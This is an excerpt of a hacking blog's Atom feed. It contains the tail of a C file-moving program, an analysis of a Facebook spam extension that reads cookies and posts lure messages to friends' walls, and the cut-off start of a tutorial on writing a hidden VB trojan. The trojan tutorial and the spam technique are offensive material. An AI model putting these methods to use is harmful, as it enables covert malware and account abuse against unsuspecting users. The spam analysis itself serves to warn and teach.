puts(a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char from1[100]=&quot;C:\\users\\neha\\desktop\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; char to1[100]=&quot;E:\\pictures\\&quot;;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(from1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; strcat(to1,a.cFileName);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; MoveFile(from1,to1); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;---By:: cyb3R 4ng3ls&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/463122128243492782/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/desktop-cleaning-application.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/463122128243492782'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/463122128243492782'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/desktop-cleaning-application.html' title='DESKTOP CLEANING APPLICATION'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-7950612955376401056</id><published>2011-12-13T20:01:00.002+05:30</published><updated>2011-12-13T20:34:59.243+05:30</updated><title type='text'>Analysing facebook spam pages[Depth]</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Spam alert. Avoid this.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;I was browsing facebook today when a link caught my attention.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #3b5998; color: red; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: large; font-weight: bold;&quot;&gt;Lol&amp;nbsp;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #3b5998; color: red; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: large; font-weight: bold;&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #3b5998; color: red; font-family: &#39;lucida grande&#39;, tahoma, verdana, arial, sans-serif; font-size: large; font-weight: bold;&quot;&gt;Checkout this video its a very embarrassing moment for her&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The moment i looked upon it i knew that its a spam and i didnt had much to do so i tried to learn what it did.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;after clicking on the link we get redirected to&amp;nbsp;&lt;a href=&quot;http://awts-on-tv6.blogspot.com/?video&quot;&gt;http://awts-on-tv6.blogspot.com/?video&lt;/a&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfiOrSUckY-LmaoxmqHLhacTd8cYQqO008zyMTGbA-1b-4F0b_7LSoVmaS48G6u2ejL0HmGLufLPE4ydFr-EQH0ctWUl8rIW3epySs0RQw17USqpLFnMX-qYbMuaIIKmrSwC7RMnarQhJQ/s1600/test.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfiOrSUckY-LmaoxmqHLhacTd8cYQqO008zyMTGbA-1b-4F0b_7LSoVmaS48G6u2ejL0HmGLufLPE4ydFr-EQH0ctWUl8rIW3epySs0RQw17USqpLFnMX-qYbMuaIIKmrSwC7RMnarQhJQ/s400/test.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;since most of the people will try to watch the video and for that the website requires you to download and install a plugin.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;in this case that plugin is Youtube Premium Plugin.(cleverly crafted, or is it though?)&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;So i click on install plugin and B00m all of my friends on facebook have their walls +1&#39;d by a new post,&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;created by me (funny i never did that).&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;and that post again randomly changes.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Lesson 1: never install those plugins.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;but lets say that you did, ofcourse i DID!&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;then lets move to the next step, analysing.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq3NtCdOfCHk2u2RQg3df-55dWjjMLopDWu5uvCbAhSuNB89me8XgkNXmePyPaJQBc0bKfryPBIWsMiW3MzIXzqsBtq6t0yZgYX4uH0ZluD6XEBr8e2dceKNHR4q_eG77ZQP-Z1R2vudfe/s1600/test2.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;244&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgq3NtCdOfCHk2u2RQg3df-55dWjjMLopDWu5uvCbAhSuNB89me8XgkNXmePyPaJQBc0bKfryPBIWsMiW3MzIXzqsBtq6t0yZgYX4uH0ZluD6XEBr8e2dceKNHR4q_eG77ZQP-Z1R2vudfe/s400/test2.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;notice the top right corner it says that i installed the plugin.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;even after installing the video isnt visible so i take it as a Spam.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Warning if doing this kind of testing, beforehand logout your facebook profile. i will explain later why.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;now it is installed and i have logged of before hand thus making the plugin fail and none of my friends got spammed again so that they again do what i accidently did with their sorry hands.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;next thing we do is go to the core of this plugin&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;i already knew that chrome stays in %homedrive%\\users\\&amp;lt;username&amp;gt;\\appdata\\local\\google\\chrome&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;therefore if a plugin is actually installed then it is residing in this directory for sure. unless its some sort of malware. which i found to be a false claim, yes its definetly a spam.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;moving further we have a folder called user data in the application&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;upon browsing all the folders and subfolders i finally found the place where plugins are installed.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;C:\Users\&amp;lt;username&amp;gt;\AppData\Local\Google\Chrome\User Data\Default\Extensions&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;there were two folders here during my time.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;opening them i found many files, one said mibbit.png ..... and other folder said icon.png.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;since one extension i installed was mibbit IRC client and other one was this youtube one we are currently trying to break down. we arrive to the conclusion that other folder was our final extension.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5SXcPEGvBgkV1pYY8fnhjHqmj5W6SpOxUaOtCCZApkTkVY73GQzmPhX2tkIXokdhuauY2jVVrthFuFXglMGy9gVPcU5NH2n5GyLcUpYnXMtsmfTE6KplUeLA0ABEWXJzU-kC7pN0xomg5/s1600/test3.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg5SXcPEGvBgkV1pYY8fnhjHqmj5W6SpOxUaOtCCZApkTkVY73GQzmPhX2tkIXokdhuauY2jVVrthFuFXglMGy9gVPcU5NH2n5GyLcUpYnXMtsmfTE6KplUeLA0ABEWXJzU-kC7pN0xomg5/s400/test3.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;in that folder there was only one file which could do anythnig to our browser. i.e. .js file or javascript&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;a section of that file i have shown in image. notice the highlighted part&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;in all of the javascript there is only one URL and no other malicious functions.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;http://betterfinace.com/script.js&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;thus my curiousity grew. upon opening the file i got this&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZi5QbmNNikuRPSvylkO9dQig9PFH93q-NbDocSD0hX924ZahDTLE0Y-SWXzsV1NTw2JutBEMS_8NUSfdMaSdAC30DMgYx0ismD6VEmkGJF8Rir12lJEUzzisPpOwSnBBKIBWHz-CY7EiQ/s1600/test4.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhZi5QbmNNikuRPSvylkO9dQig9PFH93q-NbDocSD0hX924ZahDTLE0Y-SWXzsV1NTw2JutBEMS_8NUSfdMaSdAC30DMgYx0ismD6VEmkGJF8Rir12lJEUzzisPpOwSnBBKIBWHz-CY7EiQ/s400/test4.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;another link and opening this marked link i get final thing. you can open the js link and it isnt malicious in any way i assure you. your browser wont execute that and will only open js file in text mode for you to see.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKiflfJJ73_aidsNy4yvz3Pbzz3ajLBZrwa96ANIrhm1AoFBR_W0hZxjFFNib3akfNQPqGNcQdNCT2aqVVBojjDM01xK77eZ0eTps-MggJlizy6bOX6zmp0mMxKv6S4pmKyROLNWz9SFwl/s1600/test5.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;245&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhKiflfJJ73_aidsNy4yvz3Pbzz3ajLBZrwa96ANIrhm1AoFBR_W0hZxjFFNib3akfNQPqGNcQdNCT2aqVVBojjDM01xK77eZ0eTps-MggJlizy6bOX6zmp0mMxKv6S4pmKyROLNWz9SFwl/s400/test5.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;the first function&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre-wrap;&quot;&gt;enchulatuFB &lt;/span&gt;tells us that the coder of this thing is of spanish origin.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;next thing we note is tons of functions.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;1st: uses iframes to post some data&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;2nd the&amp;nbsp;highlighted&amp;nbsp;part says the following in the messagebox. read comments for more information. as of now remember that i puts the images given in the messagebox on the screen like in the first image given by me check out the girl in bottom. thats the image this function loads.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;also note that malicious attackers can be able to infect your pc with a string like&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre-wrap;&quot;&gt;&amp;nbsp;aaaaasdhjhnfajsdasldlas &lt;/span&gt;&amp;nbsp;so dont try to execute them since they can be simple machine code which can harm you in any possible way. avoid direct gibberish code execution at all costs. what i did alert(string.convert.....); was stupid dont do that.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_oNe2URiUnZ4G_35acxx3Xe1EF7N-UcPYY3WpRnd6jVhAVnT-8mrJhUnp4ePrYTlwhyphenhyphen5UQAmVBpZ95xsg8TfcC5sbOP4tywRqOVj7k7UmGQn33yOcYzciU2TWJDjhD1_geHD3YVQxUD1T/s1600/test6.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;238&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_oNe2URiUnZ4G_35acxx3Xe1EF7N-UcPYY3WpRnd6jVhAVnT-8mrJhUnp4ePrYTlwhyphenhyphen5UQAmVBpZ95xsg8TfcC5sbOP4tywRqOVj7k7UmGQn33yOcYzciU2TWJDjhD1_geHD3YVQxUD1T/s400/test6.jpg&quot; width=&quot;400&quot; /&gt;&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;3rd function: reads cookies of browser and stores them somewhere.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;4th function sets cookie passd by parameter&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;5th and 6th function are used in collaboration to set predefined strings in diffferent order.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;like&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp;&lt;span class=&quot;Apple-style-span&quot; style=&quot;white-space: pre-wrap;&quot;&gt;&#39;check this out ... shocking &#39;,&#39; This shocking ...&#39;, &#39;I hate it happened to her ..&#39;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;text-align: -webkit-auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;span style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;  &#39;check this out ... OMG &#39;,&#39; Ehey &#39;,&#39; Hey &#39;,&#39; Hey! &#39;,&#39; LOL &#39;,&#39; Hello! &#39;,&#39; Look! &#39;,&#39; This is sic.. &#39;,&#39; Damn!&#39;
    &#39;u wont believe! &#39;,&#39; check this embarrassing video &#39;,&#39; why did this happen to her?&#39;
    &#39; Bizarre . &#39;&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;thus explaining random order of strings which i got and my friends got after infection.&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;last and finally fb_comparte function uses facebooks cookies to generate new request for browser to evaluate friends of the victim and post the aforementioned strings on everyone of thei walls. thus making this campaign a hit. :)&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;for better understanding of the javascript read some good books then check the js file out.&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;it will explain everything about how elements of a webpage are grabbed to view friend lists and how [POST] request can send data to another user using forms. as a result their walls can get flooded with such spams.&lt;/span&gt;&lt;/pre&gt;
&lt;pre style=&quot;text-align: -webkit-auto; word-wrap: break-word;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: &#39;Trebuchet MS&#39;, sans-serif; white-space: normal;&quot;&gt;i hope you would have understood how to analyze anything like this if it comes good in future.&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://teamhackaholic.blogspot.com/feeds/7950612955376401056/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/analysing-facebook-spam-pagesdepth.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/7950612955376401056'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3923341174176615518/posts/default/7950612955376401056'/><link rel='alternate' type='text/html' href='http://teamhackaholic.blogspot.com/2011/12/analysing-facebook-spam-pagesdepth.html' title='Analysing facebook spam pages[Depth]'/><author><name>InVisIbLe HaCkErzZ</name><uri>http://www.blogger.com/profile/05943409496052903895</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjfiOrSUckY-LmaoxmqHLhacTd8cYQqO008zyMTGbA-1b-4F0b_7LSoVmaS48G6u2ejL0HmGLufLPE4ydFr-EQH0ctWUl8rIW3epySs0RQw17USqpLFnMX-qYbMuaIIKmrSwC7RMnarQhJQ/s72-c/test.jpg" height="72" width="72"/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3923341174176615518.post-3019745363268400345</id><published>2011-12-11T13:00:00.001+05:30</published><updated>2011-12-11T13:15:39.642+05:30</updated><category scheme="http://www.blogger.com/atom/ns#" term="Coding"/><category scheme="http://www.blogger.com/atom/ns#" term="Computers"/><category scheme="http://www.blogger.com/atom/ns#" term="Viruses - Trojans"/><category scheme="http://www.blogger.com/atom/ns#" term="Windows"/><title type='text'>Learn how to Make Trojan in VB (Code)</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Writing a Trojan is a lot easier than most people think. All it really involves is two simple applications both with fewer than 100 lines of code. The first application is the client or the program that one user knows about. The second is the server or the actual “trojan” part. I will now go through what you need for both and some sample code.&lt;/span&gt;&lt;br /&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;b style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Server&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;The server is the Trojan part of the program. You usually will want this to be as hidden as possible so the average user can’t find it. To do this you start by using&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Code: VB&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;Private Sub Form_Load()&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp;Me.Visible = False&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;End Sub&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;margin-bottom: 1em; margin-top: 1em;&quot;&gt;
&lt;span style=&quot;color: #333333; font-family: &#39;Trebuchet MS&#39;, sans-serif;&quot;&gt;This little bit of code makes the program invisible to the naked eye. Now we all know that the task manager is a little bit peskier. So to get our application hidden from that a little better we make our code look like this.&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
